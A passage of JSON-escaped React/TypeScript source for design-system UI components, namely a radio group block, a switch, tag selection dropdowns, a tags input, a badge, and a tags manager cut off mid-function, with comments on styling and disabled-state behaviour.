\"bg-ods-card px-[var(--spacing-system-sf)] py-[var(--spacing-system-xs,8px)]\",\n                        !isLast && \"border-b\",\n                        error ? \"border-ods-error\" : \"border-ods-border\"\n                      )\n                    : cn(\n                        \"rounded-[6px] border bg-ods-card p-[var(--spacing-system-sf)]\",\n                        !isDisabled &&\n                          \"has-[[data-state=checked]]:bg-[var(--ods-system-greys-soft-grey)]/30 has-[[data-state=checked]]:border-ods-accent/40\",\n                        error ? \"border-ods-error\" : \"border-ods-border\"\n                      ),\n                  // Disabled matches a disabled field: flat `ods-bg` fill and\n                  // greyed text, not a fade of the whole row. The greying lives\n                  // on the TEXT COLUMN below, not here: as a descendant rule on\n                  // the row it also repainted whatever `trailing` renders — a\n                  // `Tag`'s label is a span too, and it went invisible against\n                  // its own fill.\n                  isDisabled && \"bg-ods-bg\",\n                  itemClassName\n                )}\n              >\n                <RadioGroupPrimitive.Item\n                  id={itemId}\n                  value={option.value}\n                  disabled={isDisabled}\n                  className={cn(\n                    \"h-6 w-6 shrink-0 rounded-full border-2 bg-ods-card\",\n                    error ? \"border-ods-error\" : \"border-[var(--color-border-strong)]\",\n                    \"transition-colors duration-150\",\n                    \"focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent focus-visible:ring-offset-2 focus-visible:ring-offset-ods-card\",\n                    // Disabled: the EMPTY dot dims with the text; a selected one\n                    // keeps its accent so \"on but locked\" stays readable.\n                    \"disabled:cursor-not-allowed\",\n                    \"disabled:data-[state=unchecked]:bg-ods-bg disabled:data-[state=unchecked]:border-ods-border\",\n                    \"data-[state=checked]:border-ods-accent\"\n                  )}\n                >\n                  <RadioGroupPrimitive.Indicator className=\"flex h-full w-full items-center justify-center\">\n                    <span className=\"block h-1/2 w-1/2 rounded-full bg-ods-accent\" />\n                  </RadioGroupPrimitive.Indicator>\n                </RadioGroupPrimitive.Item>\n                <div\n                  className={cn(\n                    \"flex min-w-0 flex-1 flex-col justify-center\",\n                    // Direct children only — these are the two component-owned\n                    // wrappers. `option.label` / `option.description` are\n                    // ReactNode, so a descendant rule would repaint content the\n                    // caller styled itself.\n                    isDisabled && \"[&>span]:text-ods-text-disabled\",\n                  )}\n                >\n                  <span\n                    className={cn(\n                      \"font-[family-name:var(--font-h4-family)] font-[number:var(--font-h4-weight)] text-[length:var(--font-size-h4-body)] leading-[24px]\",\n                      \"text-ods-text-primary select-none truncate\"\n                    )} title={typeof option.label === 'string' ? option.label : undefined}>\n                    {option.label}\n                  </span>\n                  {option.description && (\n                    <span\n                      className={cn(\n                        \"font-[family-name:var(--font-h6-family)] font-[number:var(--font-h6-weight)] text-[length:var(--font-size-h6-caption)] leading-[20px]\",\n                        \"text-ods-text-secondary select-none\"\n                      )}\n                    >\n                      {option.description}\n                    </span>\n                  )}\n                </div>\n                {option.trailing && (\n                  <div className=\"ml-auto flex shrink-0 items-center\">{option.trailing}</div>\n                )}\n              </label>\n            )\n          })}\n        </RadioGroupPrimitive.Root>\n        {error && (\n          <p className=\"absolute bottom-0 left-0 right-0 translate-y-full text-h6 truncate text-ods-error\" title={error}>\n            {error}\n          </p>\n        )}\n      </div>\n    )\n  }\n)\nRadioGroupBlock.displayName = \"RadioGroupBlock\"\n\nexport { RadioGroup, RadioGroupItem, RadioGroupBlock }\nexport type { RadioGroupBlockProps, RadioGroupBlockOption }\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as SwitchPrimitives from \"@radix-ui/react-switch\"\n\nimport { cn } from \"../../utils/cn\"\n\nconst Switch = React.forwardRef<\n  React.ElementRef<typeof SwitchPrimitives.Root>,\n  React.ComponentPropsWithoutRef<typeof SwitchPrimitives.Root> & {\n    checked?: boolean;\n    onCheckedChange?: (checked: boolean) => void;\n  }\n>(({ className, checked, onCheckedChange, ...props }, ref) => {\n  // Use local state if not controlled\n  const [isChecked, setIsChecked] = React.useState(checked || false);\n  \n  // Update local state when controlled prop changes\n  React.useEffect(() => {\n    if (checked !== undefined) {\n      setIsChecked(checked);\n    }\n  }, [checked]);\n\n  const handleCheckedChange = (newChecked: boolean) => {\n    setIsChecked(newChecked);\n    onCheckedChange?.(newChecked);\n  };\n\n  return (\n    <SwitchPrimitives.Root\n      className={cn(\n        \"peer inline-flex h-4 w-6 shrink-0 cursor-pointer items-center rounded-full border-2 bg-ods-card px-0.5 transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-focus focus-visible:ring-offset-2 focus-visible:ring-offset-background hover:bg-ods-bg-hover active:bg-ods-bg-active disabled:cursor-not-allowed disabled:opacity-50\",\n        isChecked\n          ? \"border-ods-accent hover:border-ods-accent-hover\"\n          : \"border-ods-text-secondary\",\n        className,\n      )}\n      checked={checked}\n      onCheckedChange={handleCheckedChange}\n      {...props}\n      ref={ref}\n    >\n      <SwitchPrimitives.Thumb\n        className={cn(\n          \"pointer-events-none block size-2 rounded-full transition-transform duration-200\",\n          isChecked ? \"bg-ods-accent\" : \"bg-ods-text-secondary\",\n        )}\n        style={{\n          transform: isChecked ? \"translateX(8px)\" : \"translateX(0px)\"\n        }}\n      />\n    </SwitchPrimitives.Root>\n  );\n})\nSwitch.displayName = SwitchPrimitives.Root.displayName\n\nexport { Switch }","'use client'\n\nimport * as PopoverPrimitive from '@radix-ui/react-popover'\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { useKeyboardCollisionPadding } from '../../hooks/ui/use-keyboard-collision-padding'\nimport { CheckIcon, PlusIcon, SearchIcon, TrashIcon } from '../icons-v2-generated'\nimport { Button } from './button'\nimport { Input } from './input'\n\nexport interface TagSelectOption {\n  id: string\n  label: string\n}\n\nexport interface TagSelectDropdownProps {\n  /** All selectable tags. */\n  options: TagSelectOption[]\n  /** IDs of the currently selected tags. */\n  selectedIds: string[]\n  /** Called with the next full selection whenever a tag is toggled. */\n  onChange: (ids: string[]) => void\n  /** Called when the inline \"Create\" row is chosen. Omit to disable creation. */\n  onCreate?: (name: string) => void\n  /** Max length for a newly created tag name. Omit for no limit. */\n  maxCreateLength?: number\n  /** Called when a row's hover trash button is clicked. Omit to hide delete. */\n  onDelete?: (id: string) => void\n  isCreating?: boolean\n  isDeleting?: boolean\n  /** Trigger button label. */\n  triggerLabel?: string\n  searchPlaceholder?: string\n  disabled?: boolean\n  align?: 'start' | 'center' | 'end'\n  /** Forwarded to the trigger button. */\n  className?: string\n}\n\n/**\n * Multi-select tag picker rendered as a button-triggered dropdown (the\n * multi-select sibling of the compact `AssigneeDropdown`): a trigger opens a\n * popover with an internal search field, a checkable option list, and an\n * inline \"Create\" row. Selected chips are rendered by the caller.\n */\nexport function TagSelectDropdown({\n  options,\n  selectedIds,\n  onChange,\n  onCreate,\n  maxCreateLength,\n  onDelete,\n  isCreating = false,\n  isDeleting = false,\n  triggerLabel = 'Add Tags',\n  searchPlaceholder = 'Search or create tags...',\n  disabled = false,\n  align = 'start',\n  className,\n}: TagSelectDropdownProps) {\n  const [isOpen, setIsOpen] = React.useState(false)\n  const [search, setSearch] = React.useState('')\n  const keyboardPadding = useKeyboardCollisionPadding()\n\n  React.useEffect(() => {\n    if (!isOpen) setSearch('')\n  }, [isOpen])\n\n  const query = search.trim()\n  const filtered = React.useMemo(() => {\n    const q = query.toLowerCase()\n    if (!q) return options\n    return options.filter(o => o.label.toLowerCase().includes(q))\n  }, [options, query])\n\n  // Selected tags float to the top of the list.\n  const ordered = React.useMemo(() => {\n    const selected = filtered.filter(o => selectedIds.includes(o.id))\n    const rest = filtered.filter(o => !selectedIds.includes(o.id))\n    return [...selected, ...rest]\n  }, [filtered, selectedIds])\n\n  const showCreate = !!onCreate && !!query && !options.some(o => o.label.toLowerCase() === query.toLowerCase())\n  const isCreateTooLong = maxCreateLength != null && query.length > maxCreateLength\n  const canCreate = showCreate && !isCreateTooLong\n\n  const toggle = (id: string) => {\n    onChange(selectedIds.includes(id) ? selectedIds.filter(i => i !== id) : [...selectedIds, id])\n  }\n\n  const handleCreate = () => {\n    if (!onCreate || !canCreate) return\n    onCreate(query)\n    setSearch('')\n  }\n\n  return (\n    <PopoverPrimitive.Root open={isOpen} onOpenChange={setIsOpen} modal={false}>\n      <PopoverPrimitive.Trigger asChild>\n        <Button\n          type=\"button\"\n          variant=\"outline\"\n          size=\"small\"\n          leftIcon={<PlusIcon />}\n          disabled={disabled}\n          className={cn('w-fit focus-visible:ring-0', className)}\n        >\n          {triggerLabel}\n        </Button>\n      </PopoverPrimitive.Trigger>\n      <PopoverPrimitive.Portal>\n        <PopoverPrimitive.Content\n          align={align}\n          sideOffset={6}\n          // The search field below raises the software keyboard the moment this\n          // opens — see useKeyboardCollisionPadding.\n          collisionPadding={{ bottom: keyboardPadding }}\n          className={cn(\n            'z-50 w-72 bg-ods-card border border-ods-border rounded-[6px] shadow-lg overflow-hidden',\n            'flex flex-col max-h-[var(--radix-popper-available-height)]',\n            'data-[state=open]:animate-in data-[state=closed]:animate-out',\n            'data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0',\n            'data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95',\n            'data-[side=bottom]:slide-in-from-top-2 data-[side=top]:slide-in-from-bottom-2',\n          )}\n        >\n          <div className=\"shrink-0 border-b border-ods-border\">\n            <Input\n              autoFocus\n              value={search}\n              onChange={e => setSearch(e.target.value)}\n              onKeyDown={e => {\n                if (e.key === 'Enter' && canCreate) {\n                  e.preventDefault()\n                  handleCreate()\n                }\n              }}\n              placeholder={searchPlaceholder}\n              startAdornment={<SearchIcon className=\"size-4 text-ods-text-secondary\" />}\n              className=\"rounded-none border-0\"\n            />\n          </div>\n          <div className=\"min-h-0 max-h-72 overflow-y-auto py-[var(--spacing-system-xs)]\" role=\"listbox\">\n            {ordered.map(opt => {\n              const isSelected = selectedIds.includes(opt.id)\n              return (\n                <div\n                  key={opt.id}\n                  role=\"option\"\n                  aria-selected={isSelected}\n                  tabIndex={0}\n                  onClick={() => toggle(opt.id)}\n                  onKeyDown={e => {\n                    if (e.key === 'Enter' || e.key === ' ') {\n                      e.preventDefault()\n                      toggle(opt.id)\n                    }\n                  }}\n                  className={cn(\n                    'group/item flex items-center gap-[var(--spacing-system-xs)] w-full cursor-pointer text-left',\n                    'px-[var(--spacing-system-sf)] py-[var(--spacing-system-xs)]',\n                    'hover:bg-ods-bg-hover transition-colors',\n                    isSelected && 'bg-ods-bg-hover',\n                  )}\n                >\n                  <span\n                    className={cn('flex-1 truncate text-h4', isSelected ? 'text-ods-accent' : 'text-ods-text-primary')}\n                    title={opt.label}\n                  >\n                    {opt.label}\n                  </span>\n                  {isSelected && <CheckIcon className=\"size-4 shrink-0 text-ods-accent\" />}\n                  {onDelete && !isSelected && (\n                    <button\n                      type=\"button\"\n                      aria-label={`Delete tag ${opt.label}`}\n                      onClick={e => {\n                        e.stopPropagation()\n                        onDelete(opt.id)\n                      }}\n                      disabled={isDeleting}\n                      className={cn(\n                        'shrink-0 opacity-0 transition-opacity group-hover/item:opacity-100 focus-visible:opacity-100',\n                        'disabled:opacity-50 disabled:pointer-events-none',\n                      )}\n                    >\n                      <TrashIcon className=\"size-4 text-ods-error\" />\n                    </button>\n                  )}\n                </div>\n              )\n            })}\n\n            {showCreate &&\n              (isCreateTooLong ? (\n                <div className=\"flex items-center gap-[var(--spacing-system-xs)] w-full px-[var(--spacing-system-sf)] py-[var(--spacing-system-xs)] text-h5 text-ods-error\">\n                  Maximum {maxCreateLength} characters\n                </div>\n              ) : (\n                <button\n                  type=\"button\"\n                  onClick={handleCreate}\n                  disabled={isCreating}\n                  className={cn(\n                    'flex items-center gap-[var(--spacing-system-xs)] w-full px-[var(--spacing-system-sf)] py-[var(--spacing-system-xs)] text-left',\n                    'hover:bg-ods-bg-hover transition-colors disabled:opacity-50 disabled:pointer-events-none',\n                  )}\n                >\n                  <PlusIcon className=\"size-4 shrink-0 text-ods-accent\" />\n                  <span className=\"flex-1 truncate text-h4 text-ods-accent\" title={`Create \"${query}\"`}>\n                    Create &ldquo;{query}&rdquo;\n                  </span>\n                </button>\n              ))}\n\n            {filtered.length === 0 && !showCreate && (\n              <div className=\"px-[var(--spacing-system-sf)] py-[var(--spacing-system-s)] text-h5 text-ods-text-secondary\">\n                No tags found\n              </div>\n            )}\n          </div>\n        </PopoverPrimitive.Content>\n      </PopoverPrimitive.Portal>\n    </PopoverPrimitive.Root>\n  )\n}\n","\"use client\"\n\nimport * as React from \"react\"\nimport { Label } from './label'\nimport { X, Plus } from \"lucide-react\"\nimport { Input } from \"./input\"\nimport { Button } from \"./button\"\nimport { Badge } from \"./badge\"\nimport { cn } from \"../../utils/cn\"\n\ninterface TagsInputProps {\n  value: string[]\n  onChange: (tags: string[]) => void\n  placeholder?: string\n  className?: string\n  disabled?: boolean\n  maxTags?: number\n  inputClassName?: string\n  badgeClassName?: string\n  label?: string\n}\n\nexport function TagsInput({\n  value = [],\n  onChange,\n  placeholder = \"Add a tag...\",\n  className,\n  disabled = false,\n  maxTags,\n  inputClassName,\n  badgeClassName,\n  label\n}: TagsInputProps) {\n  const [inputValue, setInputValue] = React.useState(\"\")\n\n  const handleAddTag = () => {\n    const trimmedValue = inputValue.trim()\n    \n    if (!trimmedValue) return\n    \n    // Check if tag already exists\n    if (value.includes(trimmedValue)) {\n      setInputValue(\"\")\n      return\n    }\n    \n    // Check max tags limit\n    if (maxTags && value.length >= maxTags) {\n      return\n    }\n    \n    onChange([...value, trimmedValue])\n    setInputValue(\"\")\n  }\n\n  const handleRemoveTag = (tagToRemove: string) => {\n    onChange(value.filter(tag => tag !== tagToRemove))\n  }\n\n  const handleKeyPress = (e: React.KeyboardEvent<HTMLInputElement>) => {\n    if (e.key === 'Enter') {\n      e.preventDefault()\n      handleAddTag()\n    }\n  }\n\n  return (\n    <div className={cn(\"space-y-2\", className)}>\n      {label && (\n        <Label>\n          {label}\n        </Label>\n      )}\n      \n      <div className=\"flex items-center gap-2\">\n        <Input\n          value={inputValue}\n          onChange={(e) => setInputValue(e.target.value)}\n          onKeyPress={handleKeyPress}\n          placeholder={placeholder}\n          disabled={disabled || (maxTags ? value.length >= maxTags : false)}\n          className={cn(\n            \"flex-1 bg-ods-bg border-ods-border text-ods-text-primary\",\n            inputClassName\n          )}\n        />\n        <Button\n          type=\"button\"\n          variant=\"outline\"\n          onClick={handleAddTag}\n          disabled={disabled || !inputValue.trim() || (maxTags ? value.length >= maxTags : false)}\n          leftIcon={<Plus className=\"h-4 w-4\" />}\n        >\n          Add\n        </Button>\n      </div>\n      \n      {value.length > 0 && (\n        <div className=\"flex flex-wrap gap-2\">\n          {value.map((tag) => (\n            <Badge\n              key={tag}\n              className={cn(\n                \"pl-2 pr-1 py-1 flex items-center gap-1\",\n                badgeClassName\n              )}\n            >\n              {tag}\n              {!disabled && (\n                <button\n                  type=\"button\"\n                  onClick={() => handleRemoveTag(tag)}\n                  className=\"hover:bg-white/20 rounded p-0.5 transition-colors\"\n                  aria-label={`Remove ${tag} tag`}\n                >\n                  <X className=\"h-3 w-3\" />\n                </button>\n              )}\n            </Badge>\n          ))}\n        </div>\n      )}\n      \n      {maxTags && (\n        <p className=\"text-h6 text-ods-text-secondary\">\n          {value.length}/{maxTags} tags\n        </p>\n      )}\n    </div>\n  )\n}","\"use client\"\n\nimport type * as React from \"react\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"../../utils/cn\"\n\nconst badgeVariants = cva(\n  // Weight from the ODS token. Scale stays at 12px rather than the `text-h6`\n  // composite: a badge is a stamp, and that composite is 14/20 on desktop —\n  // moving badges onto it grew every one of them.\n  \"inline-flex items-center rounded-full border px-2.5 py-0.5 text-xs font-[number:var(--font-weight-semibold)] transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2\",\n  {\n    variants: {\n      variant: {\n        default: \"border-transparent bg-primary text-primary-foreground hover:bg-primary/80\",\n        secondary: \"border-transparent bg-secondary text-secondary-foreground hover:bg-secondary/80\",\n        destructive: \"border-transparent bg-destructive text-destructive-foreground hover:bg-destructive/80\",\n        outline: \"text-foreground\",\n        success: \"border-transparent bg-ods-success text-ods-text-on-accent hover:bg-ods-success-hover\",\n      },\n    },\n    defaultVariants: {\n      variant: \"default\",\n    },\n  },\n)\n\nexport interface BadgeProps extends React.HTMLAttributes<HTMLDivElement>, VariantProps<typeof badgeVariants> {}\n\nfunction Badge({ className, variant, ...props }: BadgeProps) {\n  return <div className={cn(badgeVariants({ variant }), className)} {...props} />\n}\n\nexport { Badge, badgeVariants }\n","\"use client\";\n\nimport * as React from \"react\";\nimport * as PopoverPrimitive from \"@radix-ui/react-popover\";\nimport * as ScrollAreaPrimitive from \"@radix-ui/react-scroll-area\";\nimport { cn } from \"../../utils/cn\";\nimport { useKeyboardCollisionPadding } from \"../../hooks/ui/use-keyboard-collision-padding\";\nimport {\n\tCheckIcon,\n\tPencilIcon,\n\tPlusIcon,\n\tSearchIcon,\n\tTrashIcon,\n\tXmarkIcon,\n\tXmarkCircleIcon,\n} from \"../icons-v2-generated\";\nimport { Button } from \"./button\";\nimport { Input } from \"./input\";\nimport { Tag } from \"./tag\";\nimport { FieldWrapper } from \"./field-wrapper\";\n\nexport interface TagItem {\n\tid: string;\n\tname: string;\n\tcolor?: string;\n}\n\nexport interface TagsManagerProps {\n\t/** All available tags */\n\ttags: TagItem[];\n\t/** IDs of currently selected tags */\n\tselectedIds: string[];\n\t/** Called when selection changes */\n\tonChange: (ids: string[]) => void;\n\t/** Called to create a new tag; should return the created tag */\n\tonCreateTag?: (name: string) => Promise<TagItem | null | undefined>;\n\t/** Called to update a tag name */\n\tonUpdateTag?: (id: string, name: string) => Promise<void>;\n\t/** Called to delete a tag */\n\tonDeleteTag?: (id: string) => Promise<void>;\n\t/** Whether create is in progress */\n\tisCreating?: boolean;\n\t/** Whether update is in progress */\n\tisUpdating?: boolean;\n\t/** Whether delete is in progress */\n\tisDeleting?: boolean;\n\t/** Label displayed above the input */\n\tlabel?: string;\n\t/** Placeholder for the search input */\n\tsearchPlaceholder?: string;\n\t/** Whether the component is disabled */\n\tdisabled?: boolean;\n\t/** Additional className for the root container */\n\tclassName?: string;\n}\n\nexport function TagsManager({\n\ttags,\n\tselectedIds,\n\tonChange,\n\tonCreateTag,\n\tonUpdateTag,\n\tonDeleteTag,\n\tisCreating = false,\n\tisUpdating = false,\n\tisDeleting = false,\n\tlabel = \"Tags\",\n\tsearchPlaceholder = \"Search and add Tags\",\n\tdisabled = false,\n\tclassName,\n}: TagsManagerProps) {\n\tconst [open, setOpen] = React.useState(false);\n\tconst [search, setSearch] = React.useState(\"\");\n\tconst keyboardPadding = useKeyboardCollisionPadding();\n\tconst [editingId, setEditingId] = React.useState<string | null>(null);\n\tconst [editingName, setEditingName] = React.useState(\"\");\n\tconst editInputRef = React.useRef<HTMLInputElement>(null);\n\tconst inputRef = React.useRef<HTMLInputElement>(null);\n\tconst containerRef = React.useRef<HTMLDivElement>(null);\n\n\tconst selectedTags = tags.filter((t) => selectedIds.includes(t.id));\n\tconst filtered = tags.filter((t) =>\n\t\tt.name.toLowerCase().includes(search.toLowerCase()),\n\t);\n\tconst showCreateOption =\n\t\tonCreateTag &&\n\t\tsearch.trim() &&\n\t\t!tags.some((t) => t.name.toLowerCase() === search.trim().toLowerCase());\n\n\tconst toggleTag = React.useCallback(\n\t\t(id: string) => {\n\t\t\tif (selectedIds.includes(id)) {\n\t\t\t\tonChange(selectedIds.filter((i) => i !== id));\n\t\t\t} else {\n\t\t\t\tonChange([...selectedIds, id]);\n\t\t\t}\n\t\t},\n\t\t[selectedIds, onChange],\n\t);\n\n\tconst handleCreate = React.useCallback(async () => {\n\t\tif (!onCreateTag) return;\n\t\tconst name = search.trim();\n\t\tif (!name) return;\n\t\tconst result = await onCreateTag(name);\n\t\tif (result?.id) {\n\t\t\tonChange([...selectedIds, result.id]);\n\t\t\tsetSearch(\"\");\n\t\t}\n\t}, [search, onCreateTag, selectedIds, onChange]);\n\n\tconst startEdit = React.useCallback((id: string, name: string) => {\n\t\tsetEditingId(id);\n\t\tsetEditingName(name);\n\t\tsetTimeout(() => editInputRef.current?.focus(), 0);\n\t}, []);\n\n\tconst confirmEdit = React.useCallback(async () => {\n\t\tif (!onUpdateTag || !editingId || !editingName.trim()) return;\n\t\tawait onUpdateTag(editingId, editingName.trim());\n\t\tsetEditingId(null);\n\t\tsetEditingName(\"\");\n\t}, [editingId, editingName, onUpdateTag]);\n\n\tconst cancelEdit = React.useCallback(() => {\n\t\tsetEditingId(null);\n\t\tsetEditingName(\"\");\n\t}, []);\n\n\tconst handleDelete = React.useCallback(\n\t\tasync (id: string) => {\n\t\t\tif (!onDeleteTag) return;\n\t\t\tawait onDeleteTag(id);\n\t\t\tif (selectedIds.includes(id)) {\n\t\t\t\tonChange(selectedIds.filter((i) => i !== id));\n\t\t\t}\n\t\t},\n\t\t[onDeleteTag, selectedIds, onChange],\n\t);\n\n\tconst handleClearAll = React.useCallback(\n\t\t(e: React.MouseEvent) => {\n\t\t\te.stopPropagation();\n\t\t\tonChange([]);\n\t\t\tsetSearch(\"\");\n\t\t\tinputRef.current?.focus();\n\t\t},\n\t\t[onChange],\n\t);\n\n\treturn (\n\t\t<FieldWrapper label={label} className={className}>\n\t\t\t<div className=\"relative\" ref={containerRef}>\n\t\t\t\t<PopoverPrimitive.Root open={open} onOpenChange={setOpen}>\n\t\t\t\t\t{/* Anchor container */}\n\t\t\t\t\t<PopoverPrimitive.Anchor asChild>\n\t\t\t\t\t\t<label\n\t\t\t\t\t\t\tclassName={cn(\n\t\t\t\t\t\t\t\t\"flex w-full items-center gap-2 rounded-[6px] border px-3 min-h-11 md:min-h-12 cursor-text flex-wrap py-1\",\n\t\t\t\t\t\t\t\t\"transition-colors duration-200\",\n\t\t\t\t\t\t\t\t\"bg-ods-card border-ods-border\",\n\t\t\t\t\t\t\t\t\"group\",\n\t\t\t\t\t\t\t\t!disabled &&\n\t\t\t\t\t\t\t\t\t\"hover:bg-ods-bg-hover hover:border-ods-border-hover active:bg-ods-bg-active active:border-ods-border-active\",\n\t\t\t\t\t\t\t\tdisabled && \"!cursor-not-allowed bg-ods-bg\",\n\t\t\t\t\t\t\t\topen && \"border-ods-accent hover:border-ods-accent\",\n\t\t\t\t\t\t\t)}\n\t\t\t\t\t\t\tonClickCapture={() => {\n\t\t\t\t\t\t\t\tif (!disabled) setOpen(true);\n\t\t\t\t\t\t\t}}\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t{/* Search adornment */}\n\t\t\t\t\t\t\t<span\n\t\t\t\t\t\t\t\tclassName={cn(\n\t\t\t\t\t\t\t\t\t\"flex-shrink-0 text-ods-text-secondary transition-colors duration-200 [&_svg]:size-4 md:[&_svg]:size-6\",\n\t\t\t\t\t\t\t\t\topen && \"text-ods-accent\",\n\t\t\t\t\t\t\t\t)}\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t<SearchIcon />\n\t\t\t\t\t\t\t</span>\n\n\t\t\t\t\t\t\t{/* Selected tags rendered as Tag components */}\n\t\t\t\t\t\t\t{selectedTags.map((tag) => (\n\t\t\t\t\t\t\t\t<Tag\n\t\t\t\t\t\t\t\t\tkey={tag.id}\n\t\t\t\t\t\t\t\t\tlabel={tag.name}\n\t\t\t\t\t\t\t\t\tvariant=\"outline\"\n\t\t\t\t\t\t\t\t\tonClose={disabled ? undefined : () => toggleTag(tag.id)}\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t))}\n\n\t\t\t\t\t\t\t{/* Inline search input */}\n\t\t\t\t\t\t\t<input\n\t\t\t\t\t\t\t\tref={inputRef}\n\t\t\t\t\t\t\t\ttype=\"text\"\n\t\t\t\t\t\t\t\tvalue={search}\n\t\t\t\t\t\t\t\tonChange={(e) => {\n\t\t\t\t\t\t\t\t\tsetSearch(e.target.value);\n\t\t\t\t\t\t\t\t\tif (!open) setOpen(true);\n\t\t\t\t\t\t\t\t}}\n\t\t\t\t\t\t\t\tonFocus={() => setOpen(true)}\n\t\t\t\t\t\t\t\tonKeyDown={(e) => {\n\t\t\t\t\t\t\t\t\tif (e.key === \"Escape\") setOpen(false);\n\t\t\t\t\t\t\t\t\tif (e.key === \"Enter\" && showCreateOption) {\n\t\t\t\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\t\t\t\thandleCreate();\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif (\n\t\t\t\t\t\t\t\t\t\te.key === \"Backspace\" &&\n\t\t\t\t\t\t\t\t\t\t!search &&\n\t\t\t\t\t\t\t\t\t\tselectedIds.length > 0\n\t\t\t\t\t\t\t\t\t) {\n\t\t\t\t\t\t\t\t\t\tonChange(selectedIds.slice(0, -1));\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}}\n\t\t\t\t\t\t\t\tplaceholder={\n\t\t\t\t\t\t\t\t\tselectedTags.length === 0 ? searchPlaceholder : \"Add More...\"\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tdisabled={disabled}\n\t\t\t\t\t\t\t\tclassName={cn(\n\t\t\t\t\t\t\t\t\t\"flex-1 min-w-0 bg-transparent border-none outline-none\",\n\t\t\t\t\t\t\t\t\t\"text-h4\",\n\t\t\t\t\t\t\t\t\t\"text-ods-text-primary placeholder:text-ods-text-secondary\",\n\t\t\t\t\t\t\t\t\t\"disabled:cursor-not-allowed\",\n\t\t\t\t\t\t\t\t)}\n\t\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t\t{/* Clear all button — shown when tags are selected */}\n\t\t\t\t\t\t\t{selectedTags.length > 0 && !disabled && (\n\t\t\t\t\t\t\t\t<button\n\t\t\t\t\t\t\t\t\ttype=\"button\"\n\t\t\t\t\t\t\t\t\tonClick={handleClearAll}\n\t\t\t\t\t\t\t\t\tclassName=\"flex-shrink-0 flex items-center justify-center hover:opacity-70 transition-opacity [&_svg]:size-4 md:[&_svg]:size-6\"\n\t\t\t\t\t\t\t\t\taria-label=\"Clear all tags\"\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<XmarkCircleIcon className=\"text-ods-text-secondary\" />\n\t\t\t\t\t\t\t\t</button>\n\t\t\t\t\t\t\t)}\n\t\t\t\t\t\t</label>\n\t\t\t\t\t</PopoverPrimitive.Anchor>\n\n\t\t\t\t\t{/* Dropdown */}\n\t\t\t\t\t<PopoverPrimitive.Content\n\t\t\t\t\t\tclassName={cn(\n\t\t\t\t\t\t\t\"z-50 w-[var(--radix-popover-trigger-width)] mt-1\",\n\t\t\t\t\t\t\t\"bg-ods-card border border-ods-border rounded\",\n\t\t\t\t\t\t\t\"flex flex-col overflow-hidden max-h-[var(--radix-popper-available-height)]\",\n\t\t\t\t\t\t\t\"data-[state=open]:animate-in data-[state=closed]:animate-out\",\n\t\t\t\t\t\t\t\"data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0\",\n\t\t\t\t\t\t\t\"data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95\",\n\t\t\t\t\t\t\t\"data-[side=bottom]:slide-in-from-top-2 data-[side=top]:slide-in-from-bottom-2\",\n\t\t\t\t\t\t)}\n\t\t\t\t\t\tsideOffset={4}\n\t\t\t\t\t\talign=\"start\"\n\t\t\t\t\t\t// The anchor is the tag field that raises the software keyboard, so\n\t\t\t\t\t\t// this list is always positioned with the keyboard up — see\n\t\t\t\t\t\t// useKeyboardCollisionPadding.\n\t\t\t\t\t\tcollisionPadding={{ bottom: keyboardPadding }}\n\t\t\t\t\t\tonOpenAutoFocus={(e) => {\n\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\tinputRef.current?.focus();\n\t\t\t\t\t\t}}\n\t\t\t\t\t\tonInteractOutside={(e) => {\n\t\t\t\t\t\t\tif (containerRef.current?.contains(e.target as Node)) {\n\t\t\t\t\t\t\t\te.preventDefault();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}}\n\t\t\t\t\t>\n\t\t\t\t\t\t<ScrollAreaPrimitive.Root className=\"flex min-h-0 flex-col overflow-hidden\">\n\t\t\t\t\t\t\t<ScrollAreaPrimitive.Viewport className=\"min-h-0 max-h-60 w-full\">\n\t\t\t\t\t\t\t\t<div role=\"listbox\">\n\t\t\t\t\t\t\t\t\t{filtered.map((tag) => {\n\t\t\t\t\t\t\t\t\t\tconst isSelected = selectedIds.includes(tag.id);\n\t\t\t\t\t\t\t\t\t\tconst isEditing = editingId === tag.id;\n\n\t\t\t\t\t\t\t\t\t\tif (isEditing) {\n\t\t\t\t\t\t\t\t\t\t\treturn (\n\t\t\t\t\t\t\t\t\t\t\t\t<div\n\t\t\t\t\t\t\t\t\t\t\t\t\tkey={tag.id}\n\t\t\t\t\t\t\t\t\t\t\t\t\tclassName=\"flex items-center gap-1 px-2 py-1 border-b border-ods-border last:border-b-0\"\n\t\t\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<Input\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tref={editInputRef}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tvalue={editingName}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tonChange={(e) => setEditingName(e.target.value)}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tonKeyDown={(e) => {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (e.key === \"Enter\") confirmEdit();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif (e.key === \"Escape\") 